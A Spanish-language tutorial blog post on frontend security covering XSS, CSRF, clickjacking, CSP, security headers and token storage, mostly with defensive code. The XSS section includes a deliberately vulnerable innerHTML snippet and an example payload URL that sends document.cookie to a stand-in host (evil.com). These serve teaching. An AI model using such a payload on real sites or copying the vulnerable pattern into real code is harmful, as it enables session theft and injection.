La seguridad empieza en el frontend
Muchos desarrolladores frontend piensan que la seguridad es responsabilidad exclusiva del backend. Esto es un error grave. El frontend es la primera linea de defensa y la superficie de ataque más expuesta de tu aplicación.
En este articulo cubriremos las vulnerabilidades más críticas que afectan al frontend y como prevenirlas con código concreto.
XSS: Cross-Site Scripting
XSS es la vulnerabilidad más comun en aplicaciones web. Ocurre cuando un atacante inyecta scripts maliciosos que se ejecutan en el navegador de otros usuarios.
Tipos de XSS
| Tipo | Descripcion | Persistencia |
|---|---|---|
| Reflected | El script viene en la URL o parametros | No persistente |
| Stored | El script se guarda en la base de datos | Persistente |
| DOM-based | El script manipula el DOM directamente | No persistente |
Ejemplo de vulnerabilidad
// VULNERABLE: insertar input del usuario directamente en el DOM
const searchQuery = new URLSearchParams(window.location.search).get('q');
document.getElementById('results').innerHTML = `Resultados para: ${searchQuery}`;
// Un atacante puede enviar:
// https://tusitio.com/buscar?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>Prevencion en JavaScript vanilla
La regla de oro: nunca uses innerHTML con datos del usuario. Usa textContent para texto plano.
// SEGURO: usar textContent
const searchQuery = new URLSearchParams(window.location.search).get('q') ?? '';
const resultsEl = document.getElementById('results');
if (resultsEl) {
resultsEl.textContent = `Resultados para: ${searchQuery}`;
}Prevencion en Angular
Angular sanitiza automaticamente las interpolaciones en templates. Sin embargo, hay puntos de riesgo:
// Angular sanitiza esto automaticamente
// template: `<p>{{ userInput() }}</p>`
// PELIGROSO: bypass de sanitizacion
// Solo usa bypassSecurityTrustHtml cuando confias 100% en el origen
// Ejemplo: contenido de Markdown procesado internamenteCSRF: Cross-Site Request Forgery
CSRF engana al navegador para que envie peticiones autenticadas a sitios donde el usuario tiene sesión activa.
Cómo funciona el ataque
- El usuario inicia sesión en tu aplicación (tiene cookie de sesión)
- El usuario visita un sitio malicioso
- El sitio malicioso hace una petición a tu API usando la cookie del usuario
- Tu API procesa la petición como si fuera legitima
Prevencion con tokens CSRF
// Middleware Express para generar y validar tokens CSRF
import crypto from 'crypto';
interface CsrfSession {
csrfToken?: string;
}
function generateCsrfToken(): string {
return crypto.randomBytes(32).toString('hex');
}
// Middleware: agregar token a la sesión
function csrfProtection(
req: { session: CsrfSession; method: string; headers: Record<string, string | undefined> },
res: { status: (code: number) => { json: (body: Record<string, string>) => void } },
next: () => void
): void {
if (req.method === 'GET') {
req.session.csrfToken = generateCsrfToken();
next();
return;
}
const token = req.headers['x-csrf-token'];
if (!token || token !== req.session.csrfToken) {
res.status(403).json({ error: 'Token CSRF invalido' });
return;
}
next();
}En el frontend
// Enviar el token CSRF en cada petición
async function secureFetch(url: string, options: RequestInit = {}): Promise<Response> {
const csrfToken = document.querySelector<HTMLMetaElement>(
'meta[name="csrf-token"]'
)?.content;
return fetch(url, {
...options,
headers: {
...options.headers,
'X-CSRF-Token': csrfToken ?? ''
},
credentials: 'same-origin'
});
}Clickjacking
El clickjacking oculta tu sitio dentro de un iframe en un sitio malicioso, enganando al usuario para que haga clicks sin saberlo.
Prevencion
// Header HTTP (configurar en el servidor)
// X-Frame-Options: DENY
// O con CSP (más moderno):
// Content-Security-Policy: frame-ancestors 'none'
// Defensa JavaScript adicional (framebusting)
if (window.self !== window.top) {
// Estamos dentro de un iframe
window.top.location = window.self.location;
}Content Security Policy (CSP)
CSP es el mecanismo de defensa más poderoso contra XSS. Define exactamente que recursos puede cargar tu página.
Directivas esenciales
| Directiva | Controla | Recomendacion |
|---|---|---|
default-src |
Fallback para todas | 'self' |
script-src |
JavaScript | 'self' (nunca 'unsafe-eval') |
style-src |
CSS | 'self' + hash o nonce |
img-src |
Imagenes | 'self' + dominios de confianza |
connect-src |
fetch/XHR | 'self' + tu API |
frame-ancestors |
Quien puede embeberte | 'none' |
Implementación gradual
No actives CSP de golpe en producción. Usa el modo Content-Security-Policy-Report-Only primero para detectar violaciones sin romper la aplicación.
Headers de seguridad esenciales
Todo frontend moderno debe servirse con estos headers HTTP:
# Prevenir sniffing de MIME types
X-Content-Type-Options: nosniff
# Prevenir clickjacking
X-Frame-Options: DENY
# Forzar HTTPS
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
# Controlar que información se envia en el Referer
Referrer-Policy: strict-origin-when-cross-origin
# Controlar APIs del navegador
Permissions-Policy: camera=(), microphone=(), geolocation=()Seguridad en el almacenamiento del navegador
localStorage vs cookies
// NUNCA guardes tokens sensibles en localStorage
// localStorage es accesible por cualquier script (vulnerable a XSS)
// Para tokens de autenticación, usa cookies HttpOnly
// Set-Cookie: token=abc123; HttpOnly; Secure; SameSite=Strict
// Si necesitas almacenar datos no sensibles en localStorage:
function safeStore(key: string, value: string): void {
try {
localStorage.setItem(key, value);
} catch {
// QuotaExceededError o acceso denegado (modo privado)
console.warn('No se pudo guardar en localStorage');
}
}Validación de input en el frontend
La validación en el frontend es para UX, no para seguridad. Siempre válida también en el backend. Pero una buena validación frontend reduce la superficie de ataque:
// Validaciones comunes
const validators = {
email: (value: string): boolean =>
/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(value),
noHtml: (value: string): boolean =>
!/<[^>]*>/g.test(value),
maxLength: (value: string, max: number): boolean =>
value.length <= max,
alphanumeric: (value: string): boolean =>
/^[a-zA-Z0-9\s]+$/.test(value),
url: (value: string): boolean => {
try {
const url = new URL(value);
return ['http:', 'https:'].includes(url.protocol);
} catch {
return false;
}
}
};Checklist de seguridad frontend
Antes de cada deploy, verifica:
- CSP headers configurados y probados
- Todos los inputs sanitizados y validados
- No hay
innerHTMLcon datos del usuario - Tokens en cookies HttpOnly, no en localStorage
- HTTPS forzado con HSTS
- Dependencias actualizadas (
npm audit) - Headers de seguridad HTTP configurados
- No hay secretos o API keys en el código frontend
- CORS configurado restrictivamente
-
X-Frame-Optionsoframe-ancestorsconfigurado
Conclusion
La seguridad frontend no es opcional. Cada vulnerabilidad XSS, CSRF o clickjacking puede comprometer a todos tus usuarios. Las defensas que hemos cubierto son el mínimo necesario para cualquier aplicación web moderna.
Implementa estas protecciones desde el inicio del proyecto, no como un pensamiento posterior. La seguridad es mucho más barata cuando se disena desde el principio.




Comentarios (0)
Inicia sesión para comentar